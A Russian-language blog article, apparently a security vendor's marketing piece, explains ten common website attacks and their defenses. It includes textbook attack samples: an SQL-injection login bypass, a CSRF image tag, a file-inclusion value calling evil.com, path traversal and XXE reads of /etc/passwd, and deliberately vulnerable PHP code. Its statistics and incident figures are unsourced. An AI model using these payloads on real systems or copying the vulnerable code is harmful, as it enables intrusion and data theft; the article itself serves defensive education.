10 самых распространённых способов взлома сайтов

Home 10 самых распространённых способов взлома сайтов
chatgpt image 6 нояб. 2025 г., 18 13 47

10 самых распространённых способов взлома сайтов в 2025 году: угрозы, скрывающиеся на виду

Ваш сайт атакуют прямо сейчас. Вот как хакеры проникают внутрь — и как им помешать.

Каждые 39 секунд где-то в мире взламывают сайт. Это не запугивание — это математика, основанная на 2 244 кибератаках ежедневно. И если вы думаете, что ваш сайт слишком мал, чтобы быть целью, подумайте ещё раз. Автоматизированные боты не различают компании из Fortune 500 и локальные бизнесы. Они круглосуточно сканируют, прощупывают и эксплуатируют уязвимости, ища путь наименьшего сопротивления.

Ландшафт веб-угроз сильно изменился. Пока одни векторы атак упрямо сохраняются (смотрим на вас, слабые пароли), по мере развития технологий появляются и новые техники. В 2025 году мы видим «идеальный шторм»: всё более «умные» инструменты атак, доступные даже новичкам, массовое внедрение сложных веб-технологий с новыми уязвимостями и растущее число сайтов, управляемых людьми без экспертизы в безопасности.

Но хорошая новость в том, что большинство успешных взломов используют предотвратимые уязвимости. Понимание того, как работают атакующие, — первый шаг к созданию действительно эффективной защиты.

Давайте отбросим жаргон и разберём десять самых распространённых способов компрометации сайтов в 2025 году — и главное, что с этим делать.

1. Слабые и скомпрометированные учётные данные: «подарок», который не заканчивается

Проблема. Несмотря на десятилетия просвещения, слабые пароли остаются № 1 среди точек входа. В 2025 году более 65% успешных взломов связаны с компрометацией учётных данных.

Как это эксплуатируют

  • Credential stuffing. Атакующие используют миллиарды пар «логин/пароль» из прошлых утечек. Люди повторно используют пароли — боты автоматически пытаются авторизоваться на тысячах сайтов. Если у вас пароль админ-панели WordPress совпадает с паролем от скомпрометированного ритейл-сайта из 2023 года — вы уязвимы.
  • Brute force 2.0. Вместо «всех комбинаций» — словари популярных паролей, предсказуемые вариации («Password123!»), таргетированные списки по компании/индустрии, распределение попыток по IP, чтобы обходить лимиты.

Реальный эффект. В начале 2025 года средний e-commerce потерял $340 000: админ-аккаунт «Admin2024!» взломали, а утечку заметили лишь через 48 часов — за это время уводили платёжные данные клиентов.

Как защититься

Срочно:

  • Требуйте пароли от 16 символов с сложностью.
  • Включите обязательную MFA для всех админов.
  • Введите блокировку после серии неудачных входов.
  • Используйте менеджер паролей для уникальных комбинаций.

Продвинуто:

  • WAF с детектом шаблонов stuffing-атак.
  • Лимитирование частоты входов и гео-ограничения.
  • Мониторинг утечек в даркнете.
  • Регулярные аудиты паролей.

Профи также ставят адаптивную аутентификацию (поведенческая биометрия, отпечатки устройств), выявляющую компрометации даже при «правильном» пароле.

2. Устаревшее ПО и плагины: бомба замедленного действия

Проблема. Каждый день на старых версиях — это открытая дверь. В 2025-м 68% взломов WordPress используют известные уязвимости в устаревших плагинах/темах.

Жизненный цикл уязвимости

  1. Обнаружение → 2) Патч → 3) Публикация деталей (CVE) → 4) Гонка: админы должны обновиться раньше, чем придут сканеры → 5) Массовая эксплуатация.

Опасное окно — между публикацией и вашим обновлением: эксплойты уже готовы.

Кейс. В марте 2025 уязвимость в популярном form-плагине: 1,2 млн сайтов под риском. За 72 часа:

  • 47 000 сайтов скомпрометировано,
  • бэкдоры, майнеры, стилеры,
  • средняя очистка — $4 200 за сайт,
  • многие оставались заражёнными неделями,
    — хотя патч был доступен.

Почему не обновляют: страх сломать сайт, «работает — не трогай», нет стенда, много апдейтов, не знают об обновлениях.

Рамка профилактики

  • Включите автообновления для минорных security-патчей.
  • Еженедельные циклы проверки/тестирования апдейтов.
  • Стейджинг для крупных обновлений.
  • Подписка на security-рассылки.

Гигиена плагинов: квартальные аудиты, удаляйте неиспользуемые, берите из репутабельных источников, избегайте «заброшенных» (>6 мес. без апдейтов), следите за CVE.

Проф-мониторинг: 24/7 трекинг уязвимостей, автотест обновлений, экстренное патчирование, откаты при проблемах.

chatgpt image 6 нояб. 2025 г., 18 14 43
chatgpt image 6 нояб. 2025 г., 18 14 43

3. SQL-инъекции: живее всех живых

Проблема. SQLi позволяет менять запросы к БД: читать, править, удалять данные, обходить вход и т. п. Несмотря на «старость», SQLi в OWASP Top-10 и в 2025-м.

Как работает

Ваш код, например:

$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";

Атакующий отправляет: admin' OR '1'='1

Получается:

SELECT * FROM users WHERE username = 'admin' OR '1'='1'

— условие всегда истинно → обход аутентификации.

Современные техники

  • Blind/time-based SQLi (по задержкам).
  • Second-order SQLi (записали «бомбу» в БД — сработала позже).
  • NoSQL-инъекции (MongoDB и др.).

Последствия

  • Дамп БД (логины, персональные данные),
  • модификация/удаление,
  • RCE на сервере БД,
  • персистентные бэкдоры.

Защита

  • Параметризованные запросы (prepared statements).
  • Валидация ввода (белые списки).
  • Хранимые процедуры.
  • ORM.
  • WAF c сигнатурами SQLi.
  • Мониторинг активности БД.
  • Принцип наименьших привилегий.
  • Регулярные тесты/сканирование в CI/CD.

Пентесты должны целенаправленно бить по инъекциям — и в легаси, и в новом коде.

4. XSS: ваш сайт против ваших же пользователей

Проблема. Встраивание вредного JS в страницы, которые видят другие. В 2025-м на XSS приходится ~40% веб-атак, особенно по e-commerce и соцплатформам.

Виды

  • Reflected XSS: мгновенный отклик (поисковые формы, ошибки).
  • Stored XSS: скрипт сохраняется на сервере (комментарии, отзывы) — самый опасный.
  • DOM-based XSS: уязвимость в фронтенд-коде.

Кейс. Январь 2025, маркетплейс: в отзывах разместили JS → кража cookies у всех зрителей → 12 000+ угнанных сессий, мошеннические покупки, ущерб >$1,8 млн.

Что крадут: сессии (полный захват), нажатия клавиш, содержимое страниц, совершают действия от лица пользователя, доставляют малварь.

Защита

  • Кодирование вывода (HTML-сущности: < → &lt;, > → &gt;, " → &quot;).
  • CSP (ограничение источников скриптов).
  • Санитизация ввода (вторичный слой).
  • Использование защит фреймворков (React/Angular/Vue).
  • Заголовки: X-Content-Type-Options, X-Frame-Options и др.
  • Комбинированные скан/ручные аудиты всех точек ввода/вывода.

5. CSRF: невидимая атака

Проблема. Заставляет аутентифицированного пользователя выполнить нежелательное действие. Сервер видит «легитимный» запрос.

Как работает

<img src="https://yourbank.com/transfer?amount=5000&to=attacker">

Браузер отправит cookie сессии — перевод выполнен.

Современные CSRF

  • Скрытые iFrame, AJAX, слабый CORS, социнжиниринг.

Защита

  • Anti-CSRF токены (уникальные, непредсказуемые, проверяются на сервере).
  • SameSite для cookies:
Set-Cookie: sessionid=abc123; SameSite=Strict
  • Double-submit pattern, повторная аутентификация для критичных действий.

6. RFI/LFI: «встроим бэкдор»

Проблема. Удалённое/локальное включение файлов → выполнение произвольного кода.

Пример

$page = $_GET['page'];
include($page . '.php');
  • RFI: page=http://evil.com/malware
  • LFI: page=../../../../etc/passwd

Цепочка
веб-шеллы → персистентность → повышение привилегий → майнеры/шифровальщики → пивот в сеть → эксфильтрация.

Защита

  • Белые списки имён файлов:
$allowed = ['home','about','products'];
if (in_array($_GET['page'],$allowed)) include($_GET['page'].'.php');
  • Отключить удалённые include:
allow_url_include=Off
allow_url_fopen=Off
  • Нормализация путей, джейлы каталогов, минимальные права файловой системы, мониторинг попыток эксплуатации.

7. XXE: атаки на XML-парсер

Проблема. Парсинг XML может раскрывать файлы, выполнять SSRF, вызывать DoS.

Пример

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

Защита

  • Отключить внешние сущности в парсере (и обновить библиотеки).
  • По возможности использовать JSON.
  • Жёсткая валидация структуры/контента.

8. Ошибки конфигурации: дьявол в деталях

Проблема. В 2025-м больше инцидентов из-за мисконфигов, чем из-за нулевых дней.

Типичные промахи

  • Дефолтные логины/пароли.
  • Список каталогов открыт.
  • Подробные ошибки наружу:
Fatal error: MySQL query failed...
  • Лишние сервисы/порты.
  • Нет security-заголовков.
  • Открытые админ-интерфейсы.
  • Недостаточное логирование.

Чек-лист
удалить дефолты/демо, отключить listing, прятать детали ошибок, закрыть лишнее, включить заголовки, ограничить доступ к админке по IP, детальные логи, регулярные аудиты по CIS/NIST.

9. Недостаточный контроль доступа: внутренняя угроза

Проблема. Пользователи видят/делают то, что не должны: IDOR, вертикальная/горизонтальная эскалация, отсутствие проверок на бэкенде.

Пример IDOR

https://site.com/account?id=1234

Меняем на 1235 — видим чужой аккаунт.

Практики

  • «Запрещено по умолчанию».
  • Проверки на сервере, а не только в UI.
  • Косвенные ссылки (токены вместо прямых ID).
  • RBAC, регулярные ревью прав.
  • Тестирование на обходы/подмены параметров/форс-браузинг.

10. Атаки на цепочку поставок: троянский конь

Проблема. Зависимости, плагины, темы, скрипты — каждая точка риска. В 2025-м атаки на supply chain выросли на 78% г/г.

Как это происходит

  • Компрометированные пакеты (npm и др.), захват аккаунтов мейнтейнеров, тайпосквоттинг.
  • «Легит» плагины с закладками.
  • Подменённые сторонние скрипты с CDN.
  • Захват «заброшенных» проектов.

Кейсы 2025

  • Популярный SEO-плагин WP (6+ млн установок) после смены владельца получил апдейт с инъекцией аффилиейт-ссылок и редиректов: совокупный ущерб ~$40 млн.
  • npm-пакет с отсроченным стилером криптокошельков (активация через 30 дней).

Защита

  • Оценка вендоров, история, апдейты, комьюнити.
  • Мониторинг зависимостей (npm audit, Snyk, OWASP DC).
  • SRI для внешних скриптов:
<script src="https://cdn.example.com/script.js"
        integrity="sha384-ХЭШ"
        crossorigin="anonymous"></script>
  • Минимизируйте поверхность: удаляйте лишнее ежеквартально, ограничивайте интеграции, по возможности само-хостинг.
  • CSP для «песочницы» внешнего кода.
  • Непрерывный мониторинг уязвимостей зависимостей и быстрые процедуры реагирования.

Итог: для защиты нужна профессиональная экспертиза

Атаки многосложны, а поверхность — огромна. Большинству владельцев сайтов (и многим разработчикам) сложно противостоять настойчивому противнику в одиночку. Это нормально — не обязательно становиться экспертом по безопасности; важно работать с теми, кто этим живёт.

Что дают проф-сервисы

  • Проактив: сканирование уязвимостей и пентесты, код-ревью, хардненг конфигураций, развёртывание и ведение WAF.
  • Мониторинг 24/7: детект/реагирование, фид по уязвимостям в реальном времени, мониторинг утечек в даркнете, корреляция событий.
  • Быстрый ответ: IR-планы, удаление малвари и восстановление, форензика, улучшения после инцидента.
  • Соответствие: GDPR, PCI-DSS, HIPAA, политики, аудиты, отчётность.

Экономика профилактики

  • Средняя совокупная стоимость взлома SMB в 2025: ~$126 000 (прямые потери, IR, простои, репутация, юр. риски и т. д.).
  • Сравните с комплексной защитой: $200–$2 000/мес. (по сложности сайта).
  • Профилактика дешевле — и часто единственно жизнеспособна.

Действуйте сейчас

Каждый день промедления — день уязвимости. Эти атаки не теоретические — они происходят прямо сейчас.

С чего начать:

  • Проведите аудит текущего состояния.
  • Базовая гигиена: сильные пароли, MFA, обновления.
  • Разверните WAF — первую линию обороны.
  • Подключите специалистов для оценки и мониторинга.

Выживут те, кто воспринимает безопасность серьёзно с первого дня. Вопрос не в том, можете ли вы позволить себе услуги по безопасности, а в том, можете ли вы позволить себе их отсутствие.

Ваш сайт под атакой. Единственный вопрос: готовы ли вы защищаться?